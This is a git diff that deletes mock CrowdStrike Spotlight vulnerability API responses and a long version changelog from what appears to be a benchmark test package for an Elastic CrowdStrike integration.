-                "cve": {
-                  "id": "CVE-2025-26465",
-                  "base_score": 6.8,
-                  "severity": "MEDIUM",
-                  "exploit_status": 30,
-                  "exprt_rating": "MEDIUM",
-                  "remediation_level": "O",
-                  "cisa_info": {
-                    "is_cisa_kev": false,
-                    "due_date": "2025-03-01"
-                  },
-                  "spotlight_published_date": "2025-02-19T05:32:00Z",
-                  "types": ["Vulnerability"],
-                  "cwes": ["CWE-123"],
-                  "description": "A vulnerability was found in OpenSSH...",
-                  "published_date": "2025-02-18T19:15:00Z",
-                  "references": ["https://ubuntu.com/security/CVE-2025-26465"],
-                  "exploitability_score": 1.6,
-                  "impact_score": 5.2,
-                  "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
-                },
-                "host_info": {
-                  "hostname": "ub24-50-10-154",
-                  "local_ip": "1.128.0.0",
-                  "os_version": "Ubuntu 24.04",
-                  "platform": "Linux",
-                  "product_type_desc": "Server",
-                  "asset_criticality": "Critical",
-                  "internet_exposure": "No",
-                  "managed_by": "Falcon sensor",
-                  "host_last_seen_timestamp": "2025-02-18T00:00:00Z",
-                  "tags": ["production", "security"],
-                  "has_run_container": false,
-                  "machine_domain": "example.local",
-                  "service_provider": "AWS",
-                  "service_provider_account_id": "123456789012",
-                  "system_manufacturer": "Dell",
-                  "groups": [
-                    {
-                      "id": "group-123",
-                      "name": "Production"
-                    }
-                  ]
-                },
-                "remediation": {
-                  "ids": [
-                    "4688299d207b35a192828bdaf556ecf8",
-                    "df1af7df1d33382398fb0dc268109a4d"
-                  ],
-                  "entities": [
-                    {
-                      "id": "4688299d207b35a192828bdaf556ecf8",
-                      "reference": "1:9.6p1-3ubuntu13.8",
-                      "title": "Update ubuntu openssh",
-                      "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
-                      "link": "https://ubuntu.com/security/CVE-2025-26465",
-                      "vendor_url": "https://www.openssh.com",
-                      "recommendation_type": "recommended"
-                    }
-                  ]
-                }
-              }
-            ]
-          }
-          `}}
-  - path: /spotlight/combined/vulnerabilities/v1
-    methods: ['GET']
-    query_params:
-      limit: 1
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.013642188,
-              "pagination": {
-                "limit": 1,
-                "total": 3,
-                "after": "page-2"
-              },
-              "powered_by": "spapi",
-              "trace_id": "20f099f8-6614-47e8-a94a-af3611d37ddb"
-            },
-            "resources": [
-              {
-                "updated_timestamp": "2025-02-28T09:04:38Z",
-                "id": "vuln-1234567890abcdef",
-                "host_info": {
-                  "local_ip": "1.128.0.0",
-                  "hostname": "DESKTOP-EXAMPLE",
-                  "platform": "Windows",
-                  "os_version": "10.0.19042",
-                  "asset_criticality": "High",
-                  "asset_roles": [
-                    "Web Server",
-                    "Database Server"
-                  ],
-                  "confidence_label": "Confirmed",
-                  "groups": [
-                    {
-                      "id": "group-001",
-                      "name": "Production Servers"
-                    }
-                  ],
-                  "has_run_container": false,
-                  "host_last_seen_timestamp": "2025-02-27T15:30:00Z",
-                  "instance_id": "i-0abcdef1234567890",
-                  "internet_exposure": "Public",
-                  "machine_domain": "example.com",
-                  "managed_by": "IT Department",
-                  "os_build": "19042.1237",
-                  "ou": "IT/Servers",
-                  "product_type_desc": "Server",
-                  "service_provider": "AWS",
-                  "service_provider_account_id": "123456789012",
-                  "site_name": "Main Data Center",
-                  "subsidiaries": [
-                    "Subsidiary A",
-                    "Subsidiary B"
-                  ],
-                  "system_manufacturer": "Dell Inc.",
-                  "tags": [
-                    "Critical",
-                    "Production"
-                  ],
-                  "third_party_asset_ids": [
-                    "asset-12345",
-                    "asset-67890"
-                  ]
-                },
-                "data_providers": [
-                  {
-                    "provider": "Nessus",
-                    "ports": [
-                      80,
-                      443
-                    ],
-                    "rating": "High",
-                    "scan_id": "scan-001",
-                    "scan_time": "2025-02-26T12:00:00Z",
-                    "scanner_id": "scanner-01"
-                  }
-                ],
-                "cve": {
-                  "vendor_advisory": [
-                    "https://vendor.com/advisory/CVE-2025-1234"
-                  ],
-                  "description": "A vulnerability in the XYZ component allows remote attackers to execute arbitrary code.",
-                  "references": [
-                    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"
-                  ],
-                  "base_score": 9.8,
-                  "severity": "Critical",
-                  "actors": [
-                    "APT28",
-                    "Fancy Bear"
-                  ],
-                  "cisa_info": {
-                    "due_date": "2025-03-15",
-                    "is_cisa_kev": true
-                  },
-                  "cwes": [
-                    "CWE-79",
-                    "CWE-89"
-                  ],
-                  "exploit_status": 0,
-                  "exploitability_score": 10,
-                  "exprt_rating": "High",
-                  "id": "CVE-2025-1234",
-                  "impact_score": 9,
-                  "name": "XYZ Component Remote Code Execution",
-                  "published_date": "2025-02-25",
-                  "remediation_level": "Official Fix",
-                  "spotlight_published_date": "2025-02-26",
-                  "types": [
-                    "Remote Code Execution",
-                    "Privilege Escalation"
-                  ],
-                  "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
-                },
-                "vulnerability_id": "vuln-2025-1234",
-                "app": {
-                  "product_name_normalized": "XYZ Application",
-                  "product_name_version": "1.2.3",
-                  "vendor_normalized": "XYZ Corp"
-                },
-                "apps": [
-                  {
-                    "evaluation_logic": {
-                      "aid": "app-001",
-                      "cid": "cid-001",
-                      "complex_check_operator": "AND",
-                      "created_timestamp": "2025-02-20T08:00:00Z",
-                      "id": "eval-logic-001",
-                      "logic": [
-                        {
-                          "comparison_check": "EQUALS",
-                          "comparisons": {
-                            "state_comparisons": [
-                              {
-                                "entity_comparisons": [
-                                  {
-                                    "actual_value_field": "version",
-                                    "operation": "LESS_THAN",
-                                    "value_datatype": "string"
-                                  }
-                                ],
-                                "entity_operator": "AND"
-                              }
-                            ],
-                            "state_operator": "OR"
-                          },
-                          "determined_by_comparison": true,
-                          "existence_check": "Yes",
-                          "id": "logic-001",
-                          "negate": false,
-                          "status": "Active",
-                          "title": "Check for vulnerable version",
-                          "type": "Version Check"
-                        }
-                      ]
-                    },
-                    "patch_publication_date": "2025-02-25",
-                    "product_name_normalized": "XYZ Application",
-                    "product_name_version": "1.2.3",
-                    "remediation_info": {
-                      "minimum_id": "patch-001",
-                      "patch_publication_date": "2025-02-25",
-                      "recommended_id": "patch-002"
-                    },
-                    "remediation": {
-                      "ids": [
-                        "rem-001",
-                        "rem-002"
-                      ]
-                    },
-                    "sub_status": "Pending",
-                    "vendor_normalized": "XYZ Corp"
-                  }
-                ],
-                "cid": "cid-123456",
-                "closed_timestamp": "2025-02-28T10:00:00Z",
-                "confidence": "High",
-                "created_timestamp": "2025-02-25T08:00:00Z",
-                "remediation": {
-                  "entities": [
-                    {
-                      "action": "Apply Patch",
-                      "id": "rem-001",
-                      "link": "https://vendor.com/patches/patch-001",
-                      "patch_publication_date": "2025-02-25",
-                      "recommendation_type": "Official",
-                      "reference": "PATCH-2025-001",
-                      "title": "Security Patch for XYZ Component",
-                      "vendor_url": "https://vendor.com/patches"
-                    }
-                  ],
-                  "ids": [
-                    "rem-001",
-                    "rem-002"
-                  ]
-                },
-                "services": [
-                  {
-                    "port": 80,
-                    "protocol": "HTTP",
-                    "transport": "TCP"
-                  },
-                  {
-                    "port": 443,
-                    "protocol": "HTTPS",
-                    "transport": "TCP"
-                  }
-                ],
-                "status": "Open",
-                "suppression_info": {
-                  "is_suppressed": false,
-                  "reason": ""
-                }
-              }
-            ]
-          }
-          `}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
deleted file mode 100644
index 1c8e0402b4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
+++ /dev/null
@@ -1,999 +0,0 @@
-# newer versions go on top
-- version: "3.5.0"
-  changes:
-    - description: Add support for CustomerIOCEvent events in falcon data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17339
-- version: "3.4.0"
-  changes:
-    - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16990
-    - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16990
-- version: "3.3.1"
-  changes:
-    - description: Remove references to FDR queue setting.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/17387
-    - description: Remove duplicate security-solution-default tag references
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/17020
-- version: "3.3.0"
-  changes:
-    - description: Parse EppDetectionSummaryEvent events in FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17034
-- version: "3.2.1"
-  changes:
-    - description: Fix processing of `crowdstrike.User.ID` field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/16989
-- version: "3.2.0"
-  changes:
-    - description: Improvements and fixes to ingest pipelines for all data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16730
-- version: "3.1.0"
-  changes:
-    - description: Improve ingest pipeline maintainability.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16213
-- version: "3.0.0"
-  changes:
-    - description: >-
-        Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which may break existing Kibana dashboards or queries.
-      type: breaking-change
-      link: https://github.com/elastic/integrations/pull/15783
-- version: "2.11.0"
-  changes:
-    - description: >-
-        Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15846
-- version: "2.10.1"
-  changes:
-    - description: Remove all constant keyword fields that have statically defined values.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/16240
-    - description: Fix handling of string CrowdStrike `User` fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/16240
-- version: "2.10.0"
-  changes:
-    - description: >-
-        Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16007
-- version: "2.9.0"
-  changes:
-    - description: Support handling FDR documents that encode numbers as strings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16087
-- version: "2.8.0"
-  changes:
-    - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15880
-- version: "2.7.0"
-  changes:
-    - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15859
-- version: "2.6.0"
-  changes:
-    - description: Add a fallback parsing command_line to populate the process name in the FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15646
-- version: "2.5.2"
-  changes:
-    - description: Add `event.category` and `event.type` fields to process data in alerts.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15616
-- version: "2.5.1"
-  changes:
-    - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15497
-    - description: Fix the alert ingest pipeline to append device tags correctly.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15497
-- version: "2.5.0"
-  changes:
-    - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15419
-- version: "2.4.0"
-  changes:
-    - description: Enhance the field mappings for Windows events in the FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15342
-- version: "2.3.0"
-  changes:
-    - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15291
-- version: "2.2.1"
-  changes:
-    - description: Fix processing of `crowdstrike.User.Name` field.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15272
-- version: "2.2.0"
-  changes:
-    - description: >-
-        Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15049
-- version: "2.1.0"
-  changes:
-    - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14916
-- version: "2.0.1"
-  changes:
-    - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15019
-- version: "2.0.0"
-  changes:
-    - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it may result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n"
-      type: breaking-change
-      link: https://github.com/elastic/integrations/pull/14762
-- version: "1.80.0"
-  changes:
-    - description: Update README to clarify the log file format and location for the Falcon SIEM Connector.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14789
-- version: "1.79.0"
-  changes:
-    - description: Parse `ou` field for host data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14773
-- version: "1.78.0"
-  changes:
-    - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14723
-- version: "1.77.1"
-  changes:
-    - description: Support various Tags formats in FDR data.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14679
-- version: "1.77.0"
-  changes:
-    - description: Use `terminate` processor instead of `fail` processor to handle agent errors.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14393
-- version: "1.76.0"
-  changes:
-    - description: Extend info-level severity names to include "Informational".
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14275
-- version: "1.75.2"
-  changes:
-    - description: Add temporary processor to remove the fields added by the Agentless policy.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14172
-- version: "1.75.1"
-  changes:
-    - description: Add support for multi-resource falcon hose streams.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14212
-- version: "1.75.0"
-  changes:
-    - description: Add additional parsed fields in alert datastream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14143
-- version: "1.74.0"
-  changes:
-    - description: Standardize user fields processing across integrations.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14066
-- version: "1.73.1"
-  changes:
-    - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14110
-- version: "1.73.0"
-  changes:
-    - description: Parse `prevented` and `worker_node_name` field for alert data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14026
-- version: "1.72.0"
-  changes:
-    - description: Update SQS parsing script to parse all notification payloads.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13875
-- version: "1.71.0"
-  changes:
-    - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13984
-- version: "1.70.0"
-  changes:
-    - description: Normalize `event.severity` values across EDR integrations.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13955
-- version: "1.69.1"
-  changes:
-    - description: Correct network.direction mapping.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13961
-- version: "1.69.0"
-  changes:
-    - description: Improve user ECS field mappings for FDR.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13906
-- version: "1.68.0"
-  changes:
-    - description: Improve handling of document collision.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13779
-- version: "1.67.0"
-  changes:
-    - description: Improve FDR field handling.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12913
-- version: "1.66.0"
-  changes:
-    - description: Handle `UTCTimestamp` values expressed in Unix seconds.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13833
-- version: "1.65.1"
-  changes:
-    - description: Adjust alert batch size to 1000 to match the API limit.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13862
-- version: "1.65.0"
-  changes:
-    - description: Remove redundant installation instructions.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13573
-- version: "1.64.1"
-  changes:
-    - description: Reset state values when an error occurs during vulnerability data collection.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13740
-- version: "1.64.0"
-  changes:
-    - description: Enhance `device.id` ECS mappings for FDR data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13762
-- version: "1.63.2"
-  changes:
-    - description: Fix the navigation links in `Table of Contents` section.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13763
-- version: "1.63.1"
-  changes:
-    - description: Fix default request trace enabled behavior.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13712
-- version: "1.63.0"
-  changes:
-    - description: Update `host.*` ECS mappings.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13373
-- version: "1.62.0"
-  changes:
-    - description: Updated integration logo.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12345
-- version: "1.61.1"
-  changes:
-    - description: Fix condition in date processors for the FDR data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13394
-- version: "1.61.0"
-  changes:
-    - description: Improve performance of script processors in fdr data stream ingest pipeline.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13325
-- version: "1.60.0"
-  changes:
-    - description: Add option to delete long fields thus avoiding _ignored fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13157
-- version: "1.59.0"
-  changes:
-    - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13334
-- version: "1.58.0"
-  changes:
-    - description: Add support for `EppDetectionSummaryEvent` events.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12869
-- version: "1.57.0"
-  changes:
-    - description: Reduce storage load for less useful or constant fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13260
-- version: "1.56.1"
-  changes:
-    - description: Expose missing "Number of Workers" settings to the user.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13196
-- version: "1.56.0"
-  changes:
-    - description: Optionally allow data deduplication.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13109
-    - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13109
-- version: "1.55.0"
-  changes:
-    - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13056
-- version: "1.54.0"
-  changes:
-    - description: Enable request trace log removal.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/13035
-- version: "1.53.0"
-  changes:
-    - description: Add support of vulnerability data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12973
-    - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12973
-- version: "1.52.3"
-  changes:
-    - description: Fix condition in date processors for the FDR data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13397
-- version: "1.52.2"
-  changes:
-    - description: Expose missing "Number of Workers" settings to the user.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/13296
-- version: "1.52.1"
-  changes:
-    - description: Fixed parsing of RawProcessIDs in edge case scenarios.
-      type: bugfix
-      link: http://github.com/elastic/integrations/pull/12860
-- version: "1.52.0"
-  changes:
-    - description: Add handling for domain names in SMB events.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12712
-    - description: Fix issues/gaps in handling of domain names in DNS events.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12712
-    - description: Fix over setting of `url.scheme`.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12712
-- version: "1.51.2"
-  changes:
-    - description: Avoid using dynamic template for flattened fields.
-      type: bugfix
-      link: http://github.com/elastic/integrations/pull/12624
-- version: "1.51.1"
-  changes:
-    - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12781
-- version: "1.51.0"
-  changes:
-    - description: Update Kibana constraint to support 9.0.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12593
-- version: "1.50.0"
-  changes:
-    - description: Allow the usage of deprecated log input and support for stack 9.0
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12503
-- version: "1.49.1"
-  changes:
-    - description: Fix network direction handling for FDR data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12508
-    - description: Handle invalid IP addresses robustly.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/12508
-- version: "1.49.0"
-  changes:
-    - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12109
-- version: "1.48.0"
-  changes:
-    - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/12046
-- version: "1.47.0"
-  changes:
-    - description: Add Support of CrowdStrike Event Stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11773
-- version: "1.46.0"
-  changes:
-    - description: Extract user and host names from the name field.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11804
-    - description: Correct use of `related.hash` to `related.hosts`.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11804
-- version: "1.45.1"
-  changes:
-    - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11739
-    - description: Use host.name field for `Hostname` control in Falcon Overview dashboard.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11739
-    - description: Remove unused field control `observer.address` from Falcon Overview dashboard.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11739
-    - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11739
-- version: "1.45.0"
-  changes:
-    - description: Add support for FQL queries in `alert` and `host` data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11734
-- version: "1.44.0"
-  changes:
-    - description: Map additional fields observed in alert data.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11724
-- version: "1.43.0"
-  changes:
-    - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11282
-- version: "1.42.2"
-  changes:
-    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11314
-- version: "1.42.1"
-  changes:
-    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11284
-- version: "1.42.0"
-  changes:
-    - description: Add support of IDP and EPP alert fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11135
-- version: "1.41.1"
-  changes:
-    - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11147
-- version: "1.41.0"
-  changes:
-    - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/11012
-- version: "1.40.1"
-  changes:
-    - description: Fix mapping for assessment events.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11023
-    - description: Fix handling of cases where AIP is present but empty.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/11023
-- version: "1.40.0"
-  changes:
-    - description: "Allow @custom pipeline access to event.original without setting preserve_original_event."
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10897
-- version: "1.39.3"
-  changes:
-    - description: Fix handling of event.created and timestamp fields for FDR events.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10862
-- version: "1.39.2"
-  changes:
-    - description: Fix cursor timestamp handling.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10694
-- version: "1.39.1"
-  changes:
-    - description: Return empty `events` array when no resources in alert, host.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10831
-- version: "1.39.0"
-  changes:
-    - description: Improve document deduplication behavior.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10567
-- version: "1.38.0"
-  changes:
-    - description: Improve error reporting for API request failures.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10346
-- version: "1.37.1"
-  changes:
-    - description: Fix threat.framework when prefix is `CS`.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/10256
-- version: "1.37.0"
-  changes:
-    - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10135
-- version: "1.36.0"
-  changes:
-    - description: Add `device.id` field.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10124
-- version: "1.35.0"
-  changes:
-    - description: Make `host.ip` field conform to ECS field definition.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/10120
-- version: "1.34.3"
-  changes:
-    - description: Fix handling of empty responses in CEL.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9972
-- version: "1.34.2"
-  changes:
-    - description: Resolved ignore_malformed issues with fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9832
-- version: "1.34.1"
-  changes:
-    - description: Improve error handling for renaming processors.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9816
-- version: "1.34.0"
-  changes:
-    - description: Update manifest format version to v3.0.3.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9536
-- version: "1.33.0"
-  changes:
-    - description: Refactor alert and host collectors and improve error handling.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9716
-- version: "1.32.2"
-  changes:
-    - description: Fix geoip mapping to destination.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9738
-- version: "1.32.1"
-  changes:
-    - description: Fix cache option name in FDR data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9436
-- version: "1.32.0"
-  changes:
-    - description: Set sensitive value as secret in cel input.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9238
-- version: "1.31.0"
-  changes:
-    - description: Add support for Alert and Host API endpoints.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8790
-- version: "1.30.0"
-  changes:
-    - description: Set sensitive values as secret.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8725
-- version: "1.29.0"
-  changes:
-    - description: Expose FDR cache options for more flexibility
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/9063
-- version: "1.28.3"
-  changes:
-    - description: Fix drive letter parsing.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9119
-- version: "1.28.2"
-  changes:
-    - description: Add missing type mapping for host fields.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/9030
-- version: "1.28.1"
-  changes:
-    - description: Changed owners
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8943
-- version: "1.28.0"
-  changes:
-    - description: Enrich events with userinfo user details fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8742
-    - description: Map host and user metatdata to ECS fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8742
-- version: "1.27.0"
-  changes:
-    - description: Allow aidmaster metadata to be retained after host enrichment.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8715
-- version: "1.26.2"
-  changes:
-    - description: Do not populate `related.hosts` with IP values.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8684
-- version: "1.26.1"
-  changes:
-    - description: Fix exclude_files pattern.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8635
-- version: "1.26.0"
-  changes:
-    - description: Enrich events with aidmaster host details fields.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8474
-- version: 1.25.1
-  changes:
-    - description: Add new events.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8498
-- version: 1.25.0
-  changes:
-    - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8478
-- version: 1.24.0
-  changes:
-    - description: ECS version updated to 8.11.0.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8433
-- version: "1.23.1"
-  changes:
-    - description: Prefer ImageFileName for the value of process.executable.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8322
-- version: "1.23.0"
-  changes:
-    - description: Improve 'event.original' check to avoid errors if set.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/8269
-- version: "1.22.1"
-  changes:
-    - description: Fix field mapping for LMHostIDs
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/8115
-- version: 1.22.0
-  changes:
-    - description: Update the package format_version to 3.0.0.
-      type: enhancement
